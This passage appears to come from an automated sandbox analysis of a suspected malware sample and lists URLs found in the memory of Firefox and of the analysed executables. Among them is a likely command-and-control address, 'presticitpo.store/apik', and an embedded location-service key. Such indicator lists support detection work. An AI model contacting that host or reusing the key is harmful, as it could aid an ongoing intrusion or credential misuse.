Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001D.00000002.2976416417.000001E75FE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001D.00000003.2861629695.000001E762700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2869871266.000001E76297B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2863569523.000001E76295D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983605466.000001E762670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsasyncEmitManifestEntry(
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2955106076.000001E752C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001D.00000002.2955106076.000001E752C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881C:
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001D.00000002.2964932071.000001E75E67D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001D.00000002.2992758898.000001E7637B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%Attempt
Source: firefox.exe, 0000001D.00000002.2992758898.000001E7637C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2992758898.000001E76378A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2987595176.000001E762D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001D.00000003.2875621731.000001E760333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2880032566.000001E760331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2976416417.000001E75FE21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2879615438.000001E760314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FDD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource:///modules/BrowserContentHandler.sys.mjss
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource://gre/modules/handlers/HandlerList.sys.mj
Source: firefox.exe, 0000001D.00000003.2875621731.000001E760333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2880032566.000001E760331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2879615438.000001E760314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sCan
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001D.00000003.2875621731.000001E760333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2880032566.000001E760331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2879615438.000001E760314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sScheme
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2955106076.000001E752CD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comtestPermissionFromPrincipalhttps://addons.mozilla.orghttps://screenshots.
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001D.00000002.3011405612.00002751D9304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001D.00000003.2875621731.000001E760333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2880032566.000001E760331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2879615438.000001E760314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2879615438.000001E760314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: e192e43b61.exe, 0000000B.00000002.3030925786.00000000013D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/apik
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/recordDataMigrationResult
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelresource://gre/modules/PrivateBrowsingUtils.sys.
Source: file.exe, 00000000.00000003.1732680990.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2606378273.000000000580E000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2738826950.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2806986423.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/dispatchAsyncEvent/this._blockersPromi
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3005403457.000001E764FC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/Exception
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: e192e43b61.exe, 0000000D.00000003.2850254055.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: e192e43b61.exe, 0000000D.00000003.2850254055.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000003.2553620805.0000000029892000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1732680990.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.00000000008AF000.00000040.00000001.01000000.00000009.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.00000000008A8000.00000040.00000001.01000000.00000009.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000003.2269794608.000000001D6EC000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2606378273.000000000580C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2606825892.0000000005805000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2738826950.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739201771.0000000005AE9000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2806986423.0000000005B0E000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2807333206.0000000005B07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: e192e43b61.exe, 0000000A.00000003.2606825892.00000000057E0000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739201771.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2807333206.0000000005AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1732680990.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.00000000008AF000.00000040.00000001.01000000.00000009.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.00000000008A8000.00000040.00000001.01000000.00000009.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000003.2269794608.000000001D6EC000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2606378273.000000000580C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2606825892.0000000005805000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2738826950.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739201771.0000000005AE9000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2806986423.0000000005B0E000.00000004.00000800.00020000.00000000.sdmp, 